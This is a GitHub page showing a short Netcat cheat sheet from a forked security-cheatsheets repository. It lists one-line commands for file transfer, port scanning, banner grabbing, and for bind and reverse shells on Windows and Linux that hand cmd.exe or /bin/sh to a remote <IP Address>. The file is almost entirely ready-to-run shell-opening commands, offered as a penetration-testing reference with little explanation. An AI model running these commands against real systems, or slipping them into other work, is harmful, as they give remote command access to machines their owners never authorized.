forked from iamfuntime/security-cheatsheets
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathnetcat
More file actions
28 lines (21 loc) · 693 Bytes
/
netcat
File metadata and controls
28 lines (21 loc) · 693 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Netcat Cheat Sheet
# Jose Moruno Cadima <sniferl4bs>
#Transfering a File
nc -lvp 4444 > output.txt #Recei
nc -nv <IP Address> < input.txt #Send
#Netcat Bind Shell (Windows)
nc -lvp 4444 -e cmd.exe
nc -nv <IP Address> 4444 #Connect to the shell
#Netcat Bind Shell (Linux)
nc -lvp 4444 -e /bin/sh
nc -nv <IP Address> 4444 #Connect to the shell
#Netcat Reverse Shell (Windows)
nc -lvp 443 # Listening for connection
nc -nv <IP Address> 443 -e cmd.exe
#Netcat Reverse Shell (Linux)
nc -lvp 443
nc -nv <IP Address> 443 -e /bin/sh
#Netcat - Port Scanner
nc -z <IP Address> <Port Range in abc - xyz format>
#Netcat Banner Grabbing
echo "" | nc -nv -w1 <IP Address> <Ports>